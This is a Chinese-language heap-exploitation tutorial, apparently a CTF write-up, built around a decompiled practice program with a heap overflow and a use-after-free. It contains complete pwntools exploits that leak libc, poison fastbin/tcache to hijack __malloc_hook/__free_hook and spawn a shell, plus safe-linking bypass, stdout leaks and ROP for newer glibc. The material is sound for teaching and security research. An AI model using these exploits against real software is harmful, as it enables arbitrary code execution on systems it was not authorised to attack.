什么是堆
堆(Heap)是计算机内存中一块用于动态分配内存的区域。它是在程序运行时进行内存管理的一部分,用于存储程序运行时分配的变量、对象、数据结构等。
与栈(Stack)区别,堆是动态分配的,它的大小不是静态确定的,而是根据程序需要进行动态调整。在堆上分配的内存需要手动释放,否则可能会导致内存泄漏。
在Linux系统下,C语言通过特定的函数(malloc and free)控制堆上内存的分配和释放,由于堆分配内存的高效性和漏洞检查的低下,堆自诞生以来便漏洞不断
一个标准含漏洞堆利用程序
ida
请求堆块
int add() { int v1; // ebx int v2; // [rsp+0h] [rbp-20h] BYREF int v3; // [rsp+4h] [rbp-1Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-18h] v4 = __readfsqword(0x28u); printf("please input your index: "); __isoc99_scanf("%d", &v3); if ( v3 < 0 || v3 > 16 ) return puts("error"); printf("please input your size: "); __isoc99_scanf("%d", &v2); if ( v2 < 0 || v2 > 127 ) { puts("size error"); exit(-1); } v1 = v3; heap_ptr[v1] = malloc(v2); if ( !heap_ptr[v3] ) return puts("error"); puts("Done"); return 1;
编辑堆块
int edit() { int v1; // [rsp+0h] [rbp-10h] BYREF int v2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); printf("please input your index: "); __isoc99_scanf("%d", &v1); if ( !heap_ptr[v1] || v1 < 0 || v1 > 16 ) return puts("error"); printf("please input your size: "); __isoc99_scanf("%d", &v2); if ( v2 < 0 || v2 > 127 ) return puts("size error"); printf("please input your content: "); read(0, heap_ptr[v1], v2); puts("Done"); return 0; }
删除堆块
int delete() { int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("please input your index: "); __isoc99_scanf("%d", &v1); if ( !heap_ptr[v1] || v1 < 0 || v1 > 16 ) return puts("error"); free(heap_ptr[v1]); return puts("Done"); }
打印堆块
int show() { int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("please input your index: "); __isoc99_scanf("%d", &v1); if ( !heap_ptr[v1] || v1 < 0 || v1 > 16 ) return puts("error"); puts(heap_ptr[v1]); return puts("Done"); }
代码分析
请求模块
设置了堆块的标号,将堆块指针存入一全局数组中,并且设置了堆块标号只能为0~16,大小只能在0~0x80之间,即最多只能请求17个大小小于0x80堆块
编辑模块
能够编辑标号为0~16的堆块,编辑数据的长度为0~0x80
删除堆块
将对应下标的指针free
打印堆块
将对应下标的堆块指针中存储的数据用puts打印出来
漏洞分析
1.堆溢出
堆块设置的大小和编辑数据的大小是分开输入的且没有检查,这样攻击者就可以有意将堆块大小设计的比输入的数据小,以此来覆写不属于原堆块的数据以进行攻击。
2.UAF(use after free)
在删除模块中虽然free了对应指针但是没有把指针置零,导致了后续还可以进行编辑和打印的功能。
漏洞利用
1.ubuntu 16环境(glibc 2.23~glibc 2.26)
思路:unsorted bin泄露libc+malloc_hook劫持
unsortedbin泄露
原理
当时释放的堆块大于0x90时会放入unsortedbin中,unsortedbin中只有一个堆块时该堆块的fd指针指向unsortedbin头的fd指针,即main_arena+88
虽然程序限制了堆块大小,但我们可以通过堆溢出覆写下一个堆块的size域使堆管理器将两个小于0x90(注意:malloc堆分配时会多分配0x10大小的内存作为堆块的prevsize和size域)的堆块合并为我们想要的大小,让堆块释放后进入unsortedbin中,再打印就会回显出main_arena+88的地址,并以此来泄露libc基址(malloc_hook=main_arena-0x10)
add(0, 0x10) add(1, 0x40) add(2, 0x30) p1 = b'a' * 0x10 + p64(0) + p64(0x91) edit(0, len(p1), p1) delete(1) show(1)
注意:在堆溢出修改时要注意已分配的堆块大小是否足够满足想要修改的大小,否则就会出现以下情况
malloc_hook劫持
泄露后即可通过fastbin attack劫持malloc_hook为one_gadget
add(3,0x60) delete(3) #dbg() p2 = p64(malloc_hook - 0x23) edit(3, len(p2), p2) #dbg() add(4, 0x60) dbg() add(5, 0x60) dbg() p3 = b'a' * 0x13 + p64(one_gadget) edit(5, len(p3), p3)
由于最后要通过调用malloc_hook来getshell,但直接通过add方法无法直接回显shell,所以我们利用libc检测到double free后会调用malloc_hook的机制来使程序执行og
完整exp
from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './pwn' li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m') debug = 0 if debug: r = remote() else: r = process(file_name) elf = ELF(file_name) def dbg(): gdb.attach(r) pause() menu = 'choice >> ' def add(index, size): r.sendlineafter(menu, '1') r.sendlineafter('please input your index: ', str(index)) r.sendlineafter('please input your size: ', str(size)) def edit(index, size, content): r.sendlineafter(menu, '4') r.sendlineafter('please input your index: ', str(index)) r.sendlineafter('please input your size: ', str(size)) r.sendafter('please input your content: ', content) def delete(index): r.sendlineafter(menu, '2') r.sendlineafter('please input your index: ', str(index)) def show(index): r.sendlineafter(menu, '3') r.sendlineafter('please input your index: ', str(index)) add(0, 0x10) add(1, 0x40) add(2, 0x30) p1 = b'a' * 0x10 + p64(0) + p64(0x91) edit(0, len(p1), p1) delete(1) dbg() show(1) malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 li('malloc_hook = ' + hex(malloc_hook)) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = malloc_hook - libc.sym['__malloc_hook'] li('libc_base = ' + hex(libc_base)) one = [0x45226, 0x4527a, 0xf03a4, 0xf1247] one_gadget = one[2] + libc_base add(3, 0x60) delete(3) p2 = p64(malloc_hook - 0x23) edit(3, len(p2), p2) add(4, 0x60) add(5, 0x60) p3 = b'a' * 0x13 + p64(one_gadget) edit(5, len(p3), p3) delete(0) delete(0) r.interactive()
2.ubuntu18~ubuntu20环境(glibc2.26~glibc2.32)
机制更新
(1)在glibc2.26之后堆管理器中加入了tcachebin,tcachebin是glibc 2.26版本引入的一种优化机制,用于管理小型内存块的缓存,以加速内存分配和释放的性能。在tcachebin中每种大小的堆块最多只能存放7个。
加入了tcachebin后,释放的堆块就会优先进入tcachebin中,只有当释放的堆块是一个large bin chunk(大小大于0x410),或者tcachebin对应大小的堆块已经满7个时才会置入fastbin或unsortedbin中
(2)在加入了tcachebin后堆管理器在初始化时会先malloc一块大小为0x251的堆块存放tcachebins中指针
利用方式
unsortedbin泄露+freehook劫持
unsortedbin泄露
要想堆块释放后进入unsortedbin中就要绕过tcachebin,由于程序有堆块申请数量限制难以填满tcachebin所以我们选择free一个大小大于0x410的堆块。
add(0,0x10) add(1,0x70) add(2,0x70) add(3,0x70) add(4,0x70) add(5,0x70) add(6,0x70) add(7,0x70) add(8,0x70) add(9,0x70) add(10,0x70) p1 = b'a'*0x10+p64(0)+p64(0x481) edit(0,len(p1),p1) delete(1)
free_hook劫持
和上述的malloc_hook劫持同理,利用tcache attack(原理同于fastbin attack)劫持free_hook改其为system地址再free掉一块写入了/bin/sh字符串的堆块即可getshell
注意
tcachebin和fastbin不太一样,fastbin只要表头的fd指针还指着某一块数据就可以分配对应位置对应大小的堆块,但是tcachebin中必须要原本存放有真实的堆块才能分配fd指针指向位置的堆块,这或许与那块存放了tcachebin中堆块指针的堆块有关。
示例:
原本
再申请一次
可以发现并没有申请到对应位置的堆块
所以应这样构建攻击脚本
delete(10) delete(9)#多free一块 edit(9,0x10,p64(free_hook-8)) dbg() add(11, 0x70) dbg() add(12, 0x70) dbg() edit(12,0x10,b'/bin/sh\x00'+p64(system)) delete(12)
再申请一次
这样就成功malloc到了对应地址的堆块
完整exp
from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './pwn' li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m') debug = 0 if debug: r = remote() else: r = process(file_name) elf = ELF(file_name) def dbg(): gdb.attach(r) pause() menu = 'choice >> ' def add(index, size): r.sendlineafter(menu, '1') r.sendlineafter('please input your index: ', str(index)) r.sendlineafter('please input your size: ', str(size)) def edit(index, size, content): r.sendlineafter(menu, '4') r.sendlineafter('please input your index: ', str(index)) r.sendlineafter('please input your size: ', str(size)) r.sendafter('please input your content: ', content) def delete(index): r.sendlineafter(menu, '2') r.sendlineafter('please input your index: ', str(index)) def show(index): r.sendlineafter(menu, '3') r.sendlineafter('please input your index: ', str(index)) add(0,0x10) add(1,0x70) add(2,0x70) add(3,0x70) add(4,0x70) add(5,0x70) add(6,0x70) add(7,0x70) add(8,0x70) add(9,0x70) add(10,0x70) p1 = b'a'*0x10+p64(0)+p64(0x481) edit(0,len(p1),p1) delete(1) show(1) malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 li('malloc_hook = ' + hex(malloc_hook)) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = malloc_hook - libc.sym['__malloc_hook'] li('libc_base = ' + hex(libc_base)) one = [0xe3afe, 0xe3b01, 0xe3b04] one_gadget = one[1] + libc_base free_hook = libc_base+libc.sym['__free_hook'] li('free_hook:'+hex(free_hook)) system = libc_base+libc.sym['system'] delete(10) delete(9) edit(9,0x10,p64(free_hook-8)) add(11, 0x70) add(12, 0x70) edit(12,0x10,b'/bin/sh\x00'+p64(system)) delete(12) r.interactive()
3.ubuntu21.10之后(glibc2.34及以上)
机制再次更新
在2.34及以上的版本中删除了malloc_hook、freehook等钩子函数,虽然在libc中我们仍然能够查询到标签,但是实际上已经不参与调用了,这就导致之前的对于堆的许多攻击手法都基本失效了。在高版本中,攻击手法来到了劫持程序执行流输出流等
此外,glibc2.32后还更新了safe-linking机制,是对 next 指针进行了一些运算,规则是将 当前 free 后进入 tcache bin 堆块的用户地址 右移 12 位的值和 当前 free 后进入 tcache bin 堆块原本正常的 next 值 进行异或 ,然后将这个值重新写回 next 的位置。
所以在这个版本中,我们进行堆攻击时除了泄露libc地址还需要泄露heap地址,通过任意地址申请堆来劫持程序流。
在这道题中,我们只需要在堆溢出前show一次(此时堆块还在tcachebin中)就能泄露出堆地址
注意
由于glibc2.32中更新了safe-linking机制,所以我们还要将show得到的地址与12进行一次异或。
利用如下
# leak heap_base delete(5) delete(6) show(5) heap_base = u64(r.recv(5).ljust(8,b'\x00')) << 12 li("heap_base:"+hex(heap_base))
两种思路:
1.io泄露栈劫持返回地址
#leak environ pointer by stdout add(11,0x70) add(12,0x70) delete(12) delete(11) edit(11,len(p64((stdout)^(heap_base>>12))),p64((stdout)^(heap_base>>12))) add(13,0x70) #idx19 payload = p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ+8)*2 add(14,0x70) #idx20 edit(14,len(payload),payload) stack =u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) li("stack:"+hex(stack))
在这里泄露的栈地址是一个固定的位置
至于ret位置需要自己调试出偏移。
然后再ret的位置伪造一个堆块并写入gadget就行了
delete(9) delete(8) edit(8,len(p64((ret)^(heap_base>>12))),p64((ret)^(heap_base>>12))) dbg() add(15,0x70) #dbg() payload = p64(ret+0x30)+ p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(one_gadget) add(16,0x70) edit(16,len(payload),payload)
2.house of apple(笔者还在研究,所以仅提供一个思路)
house of apple通过libc地址heap地址和任意地址写堆地址即可进行攻击
主要思路
令IO_FILE结构体执行IO_OVERFLOW的时候,利用IO_wstrn_overflow函数修改tcache全局变量为已知值控制tcache bin的分配
修改pointer_guard和IO_accept_foreign_vtables的值绕过IO_vtable_check函数的检测
再利用一个IO_FILE,随意伪造vtable劫持程序控制流即可